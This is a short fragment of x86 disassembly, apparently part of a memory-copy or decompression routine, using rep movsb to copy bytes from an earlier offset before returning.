push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1bc4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10